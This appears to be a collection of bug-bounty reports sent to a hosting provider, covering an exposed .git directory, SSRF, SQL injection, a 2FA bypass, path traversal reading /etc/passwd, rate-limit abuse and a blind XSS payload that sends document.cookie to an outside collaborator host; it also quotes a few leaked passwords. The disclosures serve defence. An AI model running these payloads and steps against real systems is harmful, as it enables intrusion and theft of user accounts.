All Projects

A publicly accessible .git directory was discovered on the target domain https://security.alwaysdata.com. This vulnerability allows unauthorized users to download the entire Git repository, potentially exposing sensitive source code, configuration files, credentials, API keys, and historical commit data.

Affected Asset
FieldValueURLhttps://security.alwaysdata.com/.git/Domainsecurity.alwaysdata.comProtocolHTTPSVulnerabilityGit Repository Exposure

Technical Details
Vulnerability Description
The .git directory is a hidden folder that Git uses to store all version control information for a repository. When this directory is exposed on a web server, attackers can reconstruct the entire source code repository, including:

Complete source code files
Historical commits and changes
Developer information (names, emails)
Configuration files that may contain credentials
API keys, database passwords, and other secrets
Internal documentation and comments

Proof of Concept
Step 1: Access the exposed .git directory
curl -I https://security.alwaysdata.com/.git/ Step 2: Check for accessible Git objects
curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/index Step 3: Dump the repository using git-dumper or similar tools
bash# Using git-dumper
git-dumper https://security.alwaysdata.com/.git/ ./dumped_repo

# Alternative: Using wget
wget -r -np -nH https://security.alwaysdata.com/.git/ Step 4: Reconstruct and analyze the repository
bashcd dumped_repo
git checkout – .
git log –oneline

Impact Assessment
Confidentiality Impact: HIGH

Complete source code exposure
Potential credential leakage
Internal business logic revealed

Integrity Impact: MEDIUM

Attackers can study the code for additional vulnerabilities
Understanding of security mechanisms enables bypass attempts

Availability Impact: LOW

No direct impact on availability
However, discovered vulnerabilities could lead to service disruption

Business Impact

Intellectual Property Theft: Competitors or malicious actors can steal proprietary code
Credential Exposure: Hardcoded secrets may grant unauthorized access to databases, APIs, or third-party services
Further Exploitation: Source code analysis enables discovery of additional vulnerabilities (SQL injection, XSS, authentication bypasses)
Reputation Damage: Public disclosure of poor security practices
Compliance Violations: Potential GDPR, PCI-DSS, or other regulatory violations

Summary: The application exposes the XML-RPC endpoint with the pingback.ping method enabled and accessible without authentication. This allows an unauthenticated attacker to supply an arbitrary external URL, causing the server to initiate outbound network requests.
This behavior was confirmed via an out-of-band DNS interaction using a controlled Burp Collaborator (OAST) domain, demonstrating a Server-Side Request Forgery (SSRF) condition.
Severity: High
Affected Component: •URL: https://blog.alwaysdata.com/xmlrpc.php
•Protocol: XML-RPC •Authentication: Not required
Vulnerability Type: •Server-Side Request Forgery (SSRF)
•XML-RPC Pingback Abuse
Description: The XML-RPC interface allows the pingback.ping method to be invoked without authentication. By providing a specially crafted request containing an attacker-controlled URL, the server performs a DNS resolution and attempts to connect to the supplied domain.
This behavior enables an attacker to coerce the server into making arbitrary outbound requests, which is the core condition of SSRF.
The issue was validated by observing a DNS lookup from the target server to a Burp Collaborator domain, confirming that the request originated from the vulnerable server itself.

Steps to reproduce: 1] Capture the request of this url in burp suite and send it to repeater
https://blog.alwaysdata.com/xmlrpc.php

2] add this injection in the burp suite repeater (add your own collaborator link)
<methodCall>

<methodName>pingback.ping</methodName>
<params>

<param>
<value>
<string>http://collaborator_link</string>
</value>
</param>

  <param><value><string>https://blog.alwaysdata.com/xmlrpc.php</string></value></param>
</params>

</methodCall>

3]Observe Out-of-Band Interaction
The Burp Collaborator server records a DNS lookup originating from the target server:
•Interaction Type: DNS
•Source IP: 185.31.40.97
•And other info
This confirms that the target server processed the supplied URL and initiated a server-side network request.

Impact: An attacker can abuse this vulnerability to:
•Force the server to make arbitrary outbound network requests
•Perform internal network reconnaissance (SSRF scanning)
•Bypass firewall and IP-based access controls
•Leak internal infrastructure behavior
•Abuse the server for reflected or indirect denial-of-service (DDoS) attacks
In certain environments, this may allow access to internal services not exposed to the public internet, increasing the risk of further compromise.

Mitigation: • Disable XML-RPC entirely if not required
• Disable the pingback.ping method specifically
• Restrict XML-RPC access to trusted IPs only
• Validate and allowlist outbound URLs
• Block arbitrary outbound DNS and HTTP requests from the application server

Regards, Vishal Sanjay Jadhav.
Ethical Hacker & Cyber Security Analyst.
vp666159@gmail.com

Summary The application fails to normalize Gmail addresses during signup. Gmail treats email variations involving dots (.) and plus tags (+) as the same address, but the website processes each variation as a unique account.

As a result, an attacker can register unlimited accounts using a single Gmail inbox, bypassing restrictions such as:

one-user-per-email
free trial limits
referral abuse
promo codes
account creation throttling
Proof of Concept (PoC)

Step 1 Sign up with a real Gmail address Email: kalihunter001@gmail.com → Receive verification code. Step 2 Sign up again using a dot variation Email: ka.lihunter001@gmail.com → Also receive confirmation email in the same inbox.

Impact An attacker can:

Create unlimited fake accounts
Abuse free trials or credits
Abuse referral or promo systems
Circumvent limits on number of accounts per user
Spam the system with mass-registered accounts
Evade anti-fraud mechanisms
Potentially escalate privilege in systems that trust email uniqueness
This is a Business Logic Vulnerability that can directly affect revenue, analytics, and operational integrity.

Recommendation (Fix) Normalize email addresses before storing or checking uniqueness:

Remove dots from Gmail usernames
Strip anything after + in the username
Convert to lowercase
Convert googlemail.com to gmail.com
Enforce uniqueness on normalized email
Example normalized form for all Gmail inputs: kalihunter001@gmail.com POC ATTACHED BELOW

Regards Kali Hunter

Target Application: https://help.alwaysdata.com/en/ (Search Function)
Date of Test: December 8, 2025
Tester: Abhishek V
Mail id: abhi18vedamurthy@gmail.com

Description: The search functionality of the test website is vulnerable to SQL injection. A classic payload (OR 1=1;–) was entered into the search field, and the application returned 94 results, indicating that the input was directly concatenated into a SQL query without proper sanitization or parameterization.

Steps to Reproduce:
1. Navigate to the target website.
2. Locate the search input field.
3. Enter the following payload with a space after the double – OR 1=1;–
4. Submit the search.
Observation: 94 results are returned, bypassing any intended filtering logic.

Impact Assessment
1. Risk Level: Medium to High depending what results are returned
2. Potential Impact:
a. Unauthorized data access
b. Data leakage or manipulation

Recommended Remediation
1. Input Validation and Escaping
2. Reject or sanitize unexpected characters in user input.
3. Rejecting the statements that have the syntax of SQL queries.

POC: Refer to the video attachment named SQLi

Title

Critical Exposure of alwaysdata.com User Credentials via Alien TxtBase (Plaintext Passwords, Emails & Phone Numbers)

URL

Multiple alwaysdata endpoints are present in the leak, including:

https://alwaysdata.com/

https://alwaysdata.com/fr/inscription

https://alwaysdata.com/fr/inscription/

https://alwaysdata.com/en/register

https://alwaysdata.com/en/register/

https://alwaysdata.com/en/signup/account/

https://alwaysdata.com/fr/signup/account/

https://alwaysdata.com/fr/signup/

https://alwaysdata.com/en/marketplace/bookstack/

Evidence spread across all uploaded LeakBase / Alien TxtBase HTML files.

Description

The uploaded Alien TxtBase datasets show large-scale exposure of alwaysdata.com account credentials, collected by infostealer malware that steals browser-saved logins.

Across all the files, there are hundreds of entries for alwaysdata.com, including:

Emails (Gmail, Hotmail, Yahoo, corporate domains, etc.)

Plaintext passwords

Nicknames / device usernames

Phone numbers in some entries

Direct registration and signup URLs on alwaysdata.com

Examples of leaked patterns (all values redacted here):

Email + password + registration link, e.g.:
Email: …@gmail.com / Password: Fahendrena / Link: alwaysdata.com/fr/inscription

5202727960

Password + nick + registration URL (no email), e.g.:
Password: Footballclub972 / Nick: nathanv / Link: alwaysdata.com

5202727960

Email + password + /en/register or /fr/signup/account URLs, e.g. multiple developer / project owner accounts

Entries including phone number and “App: alwaysdata.com” metadata

The data confirms that real alwaysdata.com user accounts, including hosting users, developers and small businesses, have their credentials exposed in plaintext in a public leak collection.

While the initial compromise is on user devices (infostealers), the effect is a direct, ongoing compromise of alwaysdata.com accounts, as the credentials are valid and can be reused by attackers at any time.

Impact

Severity: CRITICAL

1. Full Account Takeover (ATO)

Attackers can use any email/password pair from the logs to log into alwaysdata.com and:

Access hosting control panels for websites and apps

Modify or delete customer sites

Inject malicious content, phishing pages, or malware

Change account email, password, and billing details

Because passwords are in clear text, there is no need for cracking or guessing.

2. Website & Application Compromise

As alwaysdata is a hosting provider, compromised accounts may be:

Production sites for individuals, startups, and small businesses

Internal dashboards or admin panels

Hosted APIs or backends

This allows attackers to:

Deface or replace websites

Steal data from web applications

Use compromised infrastructure for further attacks (phishing, malware hosting, C2, etc.)

3. Reputational & Legal Risk

Leaked credentials include:

Emails

Passwords

In some cases, phone numbers

This exposes alwaysdata users to:

Identity theft

Targeted phishing

Credential reuse on other services

It may also create privacy and regulatory exposure for alwaysdata if not addressed (e.g., GDPR if EU users are affected).

4. Ongoing Automated Exploitation

Alien TxtBase:

Is widely shared through Telegram breach channels

Is integrated into OSINT and credential-stuffing tools

Is resold on dark-web marketplaces

This means alwaysdata.com accounts will be continuously targeted, not just once.

Evidence (Redacted)

Representative examples from the uploaded leak files (all real, but anonymized):

Email: <redacted>@gmail.com Password: Link: alwaysdata.com/en/register/

5202727960

Password: Nick: Powerbyte
Link: alwaysdata.com/fr/signup/account/

Email: <redacted>@hotmail.com Password: Link: alwaysdata.com/fr/inscription/

Email: <redacted>@gmail.com Telephone: <redacted>
App: alwaysdata.com

No raw passwords, emails or phone numbers are reproduced in this report.

Recommendation
Immediate

Force password reset for all alwaysdata.com accounts whose credentials appear in Alien TxtBase.

Invalidate active sessions and login cookies for those users.

Alert affected users and advise them to:

Clean their devices of infostealer malware

Change reused passwords on other platforms.

Short-Term

Implement breached-password protection:

Block login with passwords known to be exposed in public leaks (including Alien TxtBase).

Enforce or strongly encourage MFA for all alwaysdata accounts.

Add rate limiting and bot protection on login, signup and password reset endpoints.

Monitor for abnormal login patterns from known bad IP ranges or TOR exit nodes.

Long-Term

Move toward passwordless authentication (WebAuthn / security keys) for control-panel access.

Deploy continuous dark-web / Telegram breach monitoring for “alwaysdata.com” credentials.

Provide security guidance for customers (blog / documentation) on:

Risks of storing passwords in browsers

Infostealer malware

Using password managers and MFA.

Summary:

After enabling 2FA, during login the system asks for email, password, and then a valid 2FA code. When a valid 2FA code request is captured and sent through Burp Repeater, sending multiple parallel copies of the same request returns multiple valid 2FA responses for a single correct code. These valid responses can then be replayed at any time to bypass the 2FA challenge completely. As a result, an attacker can repeatedly access the account without entering any new 2FA code, fully bypassing the authentication layer.

Steps to Reproduce:

Enable 2FA on your account.

Log out and attempt to log in again.

Enter a valid email and password.

When the system asks for the 2FA code, enter a valid code and capture this request in Burp Suite.

Send the 2FA request to Burp Repeater and create multiple parallel copies.

Send all parallel requests simultaneously — observe that the server returns multiple valid 2FA success responses for one single valid code.

Now try logging in again: enter any invalid 2FA code.

Capture the invalid response and replace it with one of the previously captured valid parallel responses.

Forward the modified response — you will gain full account access without needing a new 2FA code.

This method works repeatedly.

Impact :

This vulnerability breaks the entire 2FA security model. By replaying the multiple valid responses generated from a single 2FA code, an attacker can repeatedly log in without providing any fresh 2FA code. This completely bypasses multi-factor authentication, rate limiting, and OTP expiration logic, allowing persistent unauthorized access to any protected account.

Note: Please don't disclose this report

Description: User A can raise a Closure Request to user B's task.

Steps to Reproduce: 1. Create two accounts A and B in Bug Tracking Interface.
2. From each account create a task.
3. Now turn of Burp Suite intercept, from account A click on "Request Closure" and enter a reason, then submit.
4. Change the task id of user A to user B's everywhere in the request, intercept response, then click forward.
5. Will see status code "200 OK" confirming the request has been made, turn off intercept.
6. Now go to account B see the request is successful and the reason is also added as shown in POC-4.png.

For any further information please let me know.

Regards,

Vulnerability
The password-reset endpoint https://admin.alwaysdata.com/password/lost/ accepts unlimited requests for any e-mail address without rate limiting, CAPTCHA, or cooldown.

Impact
- An attacker can flood any user’s mailbox with hundreds/thousands of password-reset e-mails
- Targeted denial-of-service against a specific user
- PTP (Password-reset Token Poisoning) & Password Reset Abuse
- Loss of trust and bypassing of normal security controls

Steps to Reproduce
1. Go to https://admin.alwaysdata.com/password/lost/ 2. Enter any valid e-mail address that has an alwaysdata account
3. Capture the request in Burp Suite / Intruder
4. Send it to Intruder, remove all payloads except the e-mail parameter
5. Start the attack with multiple threads
→ The victim instantly receives a flood of password-reset e-mails (see attached PoC video/screenshots)

Proof of Concept
(Attach your video or screenshots here – click “Choose File”)

Recommended Fix
Implement at least one of the following on the password-reset endpoint:
- Strict per-IP + per-e-mail rate limiting (e.g., max 3–5 requests per hour)
- CAPTCHA (hCaptcha/reCAPTCHA)
- Temporary account lockout after X attempts

Researcher: TrinityXploit

vulnerability name : open redirection

url: https://admin.alwaysdata.com/login/?next=%2f

step to reproduced:
1.intercept the url
2.enter bing.com in the parameter
3. on location you see that response will shown on location bing.com

for furthur info please see the screenshot

Thank you
Anant

vulnerability name : csrf where attacker can use unused token to access victim account

description: attacker can use same csrf token to login into an account that might take account takeover vulnerability

step to reproduced:
1.make two account with different email
2.intercept one mail account and copy its csrf token and drop the response
3. change that token with another account and login with 2nd account

for furthur info please see the poc

Thank you
Anant

Description:

The /user/delete/ endpoint allows deleting an account by sending a POST request. By replacing the sessionid cookie with that of another user, it is possible to delete any user account without knowing their password or performing any authentication.

This indicates a broken authentication / session management vulnerability where the server blindly trusts the sessionid cookie for critical actions.

Steps to Reproduce:

1.Log in as the victim account.

2.Obtain the victim’s sessionid.

3.In another browser/session, log in as the attacker.

4.Capture the delete account request: POST /user/delete/

5.Replace the attacker’s sessionid in the Cookie header with the victim’s sessionid.

6.Send the modified request.

7.Observe that the victim account gets deleted.

“Note: An attacker can brute-force these session IDs with the help of AI.”

Impact:

An attacker can delete any user's account by guessing or brute-forcing session IDs and using them in the delete request.

*Any attacker with a valid sessionid can delete any user’s account.

*No password, no verification, no re-authentication.

*Leads to complete account loss and permanent data deletion.

Severity: Critical (P1).

Recommended Fix:

*Bind session to user identity server-side and reject modified session cookies.

*Require full re-authentication (password) for account deletion.

*Add strict CSRF validation and session consistency checks.

Hello Team,

My last bug on no rate limit was closed due to duplicat. Here i am sending you one more no rate limit vulnrability

vulnerability name : no rate limit vulnerability description : A little bit about Rate Limit:
A rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.

## Description:-
I have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email. vulnerable url : https://mailman.alwaysdata.com

step to reproduce : step1: intercept the forget password request on burpsuite step2: send it the reques in intruder and sequencer step3: add any path in intruder and select number payload and start attack or live capture on sequencer

Thank you

vulnerability name : no rate limit vulnerability description : A little bit about Rate Limit:
A rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache.
In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.
## Description:-
I have identified that when Forgetting Password for account , the request has no rate limit which then can be used to loop through one request. Which can be annoying to the root users sending mass password to one email. vulnerable url : https://admin.alwaysdata.com/password/lost/ step to reproduce : step1: intercept the forget password request on burpsuite step2: send it the reques in intruder and sequencer step3: add any path in intruder and select number payload and start attack or live capture on sequencer

no task description

Description: After unlinking Google from a user's account, previously created sessions via Google remain active and are not terminated.

Steps to reproduce:

1. Browser A: Sign in to the account via Google OAuth. Keep the session.

2. Browser B: Sign in to the same account using email/password.

3. From Browser B, go to account settings and unlink Google.

4. Return to Browser A and notice that the session was not terminated.

POC: https://admin.alwaysdata.com/support/90046/

Impact:
An attacker who possesses a previous session via Google remains able to access the account even after the owner believes they have unlinked it — leading to persistent unauthorized access.

Suggestion for fix:

Force immediate logout from all sessions associated with the OAuth provider.

Summary:
The session management does not include any IP address, geolocation, or device fingerprinting checks. Once a session token is obtained, it can be replayed from any device, browser, or country, allowing attackers to bypass contextual integrity checks and maintain unauthorized access.

Steps to Reproduce:
Log in to alwaysdata.com and capture the session token (e.g., via browser DevTools or proxy).

Move to a different device, browser, or VPN geolocation.

Replay the captured token (e.g., by importing cookies or using the token in API headers).

🎯 Result: The session remains valid — no reauthentication, MFA challenge, or warning is triggered.

Impact:
Allows session hijack from another country or device without detection.

No context-aware defense such as:

IP or ASN consistency checks

Browser/device fingerprinting

Geo-velocity anomaly detection

Supports stealthy unauthorized access, even if login alerts or 2FA are present.

Summary:
The application allows users to reuse their existing password when performing a password change or password reset. This undermines the security intent of these features, as users can bypass the enforcement of setting a new, stronger, and unique credential. Allowing password reuse increases the risk of account takeover, brute-force persistence, and failure to comply with security best practices (such as NIST SP 800-63B and OWASP ASVS), which explicitly recommend preventing the reuse of the same password.

Steps to Reproduce:

Log in to the alwaysdata.com application using valid credentials.

Navigate to the Change Password or Password Reset functionality.

Enter the current password in both the "Old Password" and "New Password" fields (or set the reset password to the same as the old one).

Observe that the operation succeeds, and the password remains unchanged.

Impact:

Defeats the purpose of password change/reset: attackers with leaked or compromised credentials can maintain persistence by resetting to the same password.

Increases susceptibility to brute force and credential stuffing, since the password remains weak or already compromised.

Violates industry-standard best practices for credential management (OWASP, NIST).

Reduces the effectiveness of incident response: if credentials are suspected to be exposed, forcing a reset but allowing reuse leaves accounts vulnerable.

Security Best Practices Reference:

NIST SP 800-63B: Recommends preventing password reuse and enforcing that new credentials differ from previously used ones.

OWASP ASVS 2.1.8: Applications should prevent the use of the same value as the current password when changing or resetting credentials.

Recommendation:

Implement a password history check to ensure that newly set passwords are different from the current one.

Enforce a configurable password history (e.g., last 3–5 passwords cannot be reused).

Provide appropriate user feedback when the entered password matches the old one.

Severity: High – This is a critical flaw because it undermines a fundamental security control designed to mitigate account compromise.

Summary
The application applies rate limiting on failed login attempts per IP address, but does not combine this with account- or device-based throttling. An attacker can rotate IP addresses (using VPNs, proxies, or botnets) and continue brute-force or credential stuffing attempts against the same account, effectively bypassing the rate limit. This allows high-volume automated attacks that can lead to account takeover, credential stuffing success, and large-scale account enumeration.

Steps to Reproduce
In the alwaysdata.com application, choose a target account (e.g., victim@example.com).

From IP A, submit the maximum allowed failed login attempts until the application rate-limits further attempts from IP A. Record the response/status code.

Switch to IP B (use VPN, proxy, or other IP rotation technique).

Attempt to authenticate to the same target account using different password guesses. Observe that attempts from IP B are accepted and counted separately (rate limit not enforced per account).

Repeat with IP C, IP D, etc., and observe continued unrestricted attempts against the same account.

(Optional) Automate steps 2–4 from a list of rotating IPs to confirm large-scale brute-force is possible.

Expected secure behavior: The system should limit authentication attempts per account (or per account+device fingerprint) in addition to per-IP limits.
Observed insecure behavior: Authentication attempts continue after IP rotation; rate limiting is effectively bypassed.

Impact
Account Takeover (High): Continuous attempts across rotated IPs increase the probability of successfully brute-forcing a password or succeeding with credential stuffing.

Mass Credential Stuffing (High → Critical): Attackers can target many accounts at scale by cycling IPs, causing large-scale account compromise.

Recommended Fixes
Enforce account-based throttling (primary)

Track failed authentication attempts per account (email/username) and apply progressive throttling or temporary lockouts. Example policy: after 5 failed attempts for an account within 15 minutes, block further attempts for that account for 15 minutes.

Combine IP + account limits (defense-in-depth)

Use a hybrid key: limit_key = hash(account_id + ip) plus a separate limit_key = account_id. This reduces false positives while preventing IP-rotated attacks.

#Failure to invalidate session after logout from 2nd tab.

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after logout from 2nd tab vulnerability in your domain. Attacker can view token and any sensitive data.

This Vulnerability found in:
1. admin.alwaysdata.com
2. webmail.alwaysdata.com

#Steps to Reproduce:

1. Login to admin.alwaysdata.com
2. Open another tab and copy the login account URL and paste into 2nd tab.
3. Go to profile option into 1st tab or any other sensitive data page.
4. Logout your account from 2nd tab and then visit to 1st tab, don't refresh that page, so you can see that page is still active and attacker can see victim details or any sensitive data.

Impact:

If a user login their account in café or in a office, Victim open another tab for doing their work and then logout the account in that tab. Victim assume that the account are logged out and victim forget to close the browser but into 1st tab, victim account are still logged in and attacker can view any sensitive data and token or any bank details.

#Note:

I can make a one video for both('admin.alwaysdata.com','webmail.alwaysdata.com')

Thank You,

Waleed Anwar

Executive summary:
The .git directory on https://security.alwaysdata.com is publicly accessible. .git/HEAD and .git/config return repository metadata (remote origin). This can allow repository reconstruction and full source code disclosure.

Reporter IP: 192.168.1.17
Custom header used: X-Bug-Bounty: Hacker-sam123

Proof-of-Concept (minimal, non-destructive):
1) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD

1. > HTTP/2 200 … body: "ref: refs/heads/master"

2) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

1. > returns config (screenshot attached) showing remote origin.

I performed only minimal reads to prove exposure. I DID NOT download .git/objects or reconstruct the repository in compliance with program rules.

Impact:
Public .git exposure may allow extraction of source code, commit history, and potentially hard-coded secrets — critical confidentiality risk.

Suggested fix:
- Immediately deny HTTP access to .git (examples: Apache/Nginx rules).
- Remove .git from webroot or deploy built artifacts instead.
- Rotate any exposed secrets if found.

1. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD 2. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

Reporter: Li Xian (otterlysecure)
Date: 22 Sep 2025 (UTC+8)
Asset: Hosting control panel → virtual host configuration for any domain

Summary

The hosting control panel accepts unvalidated paths for a site’s Root directory and writes them directly into the Apache vhost DocumentRoot. By setting DocumentRoot to /, an attacker can publish arbitrary world-readable files from the server filesystem to the internet (e.g., /etc/passwd, /etc/hosts) under the attacker’s domain. This is a tenant isolation bypass and information disclosure vulnerability.

Severity Rating: High

CVSS v3.1 (proposed): 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Impact

Unauthenticated internet users can read any world-readable file on the server via the affected domain, exposing system configuration, service versions, and other sensitive information that materially aids further attacks.

Violates tenant isolation in principle: if any tenant or system component stores world-readable artifacts (logs, backups, static assets), these can be served publicly by another tenant’s vhost.

Expands attack surface for privilege escalation and targeted exploitation.

Affected Functionality

Hosting control panel “Root directory” setting for websites (Apache vhost generation).

Apache evaluates the resulting DocumentRoot without confinement to the account home.

Technical Details / Root Cause

User-supplied paths are written verbatim into Apache config. Example (observed vhost):

<VirtualHost *>

ServerName otterlysecure.alwaysdata.net
DocumentRoot "/home/otterlysecure/../../../../../../"
<Location />
  AddHandler fcgid-script .php
  FcgidWrapper "/usr/bin/env /usr/bin/php-cgi" .php
</Location>

</VirtualHost>

Because ../../.. is not canonicalized or constrained, the vhost can be pointed to any filesystem path (including /).

Proof of Concept (PoC)

In the control panel, set Root directory to:

../../../../..// (via path traversal)

Request world-readable system files via my domain:
curl -i https://otterlysecure.alwaysdata.net/etc/hosts curl -i https://otterlysecure.alwaysdata.net/etc/passwd

Observed results:

HTTP/200 with contents of /etc/hosts and /etc/passwd.

Reset Root directory back to a safe path under my home after testing.

Notes on scope/ethics

I accessed only system files (/etc/hosts, /etc/passwd) sufficient to demonstrate impact.

I did not attempt to access other tenants’ data or private directories.

Why this matters even if some paths 403

Reading /etc/* proves arbitrary file read of world-readable files over the public web. Current 403s on some directories (e.g., /home) are incidental to Unix permissions/overrides and do not mitigate the core design flaw (unconfined DocumentRoot).

Timeline

2025-09-22: Discovered and verified impact (read /etc/hosts, /etc/passwd over HTTPS via my domain).

2025-09-22: Report submitted.

Please see attachments.

Credits / Contact

Reporter: Li Xian

Preferred contact: lixianchai-ywh-fd1a7856643e0e35@yeswehack.ninja

Severity
P3 – Medium

Product / Area
Account Management / Shared Permissions / Email Management (domain selection when creating a Mailbox)

Summary
A previously reported issue was observed again (Report ID: [203], and it was marked as Fixed on [28/8/2025]). The issue is that an invited user who has not enabled two-factor authentication (2FA) can view the domains of another subscription when attempting to create a Mailbox from their personal account. This behavior reflects a failure to enforce the 2FA requirement and constitutes information disclosure.

This issue was re-observed on 15/09/2025.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

POC: https://admin.alwaysdata.com/support/89183/

(Regression):

The vulnerability was originally reported and marked as Fixed.

Its reappearance means the fix was bypassed.

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

#Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Hello Team, I hope you are doing well. I found Insecure Cache-Control Leading to View Email, Password and User Information in https://www.alwaysdata.com/en/marketplace/ (All Applications).

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/marketplace/.
2. Click on Install any application button you want to install.
3. Fill the form and submit the request.
4. It will go https://admin.alwaysdata.com/user/validation-needed/.
5. Press Back Button and you can see all of these information you are submitted these are shown in the form.

# Impact:

In a PC scenario in an office or in a library or in a coffee shop or such places allow for an attacker to exploit this vulnerability (since the amount of pages visited after visiting doesn't matter). Also it is very easy to get access to a laptop, so this is a likable scenario, and once it happens the attacker has full control over the victim's app data since he/she can use the account.

# Note:

Tested in Chrome latest version, Firefox and Microsoft Edge.

Thank You,

Waleed Anwar

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing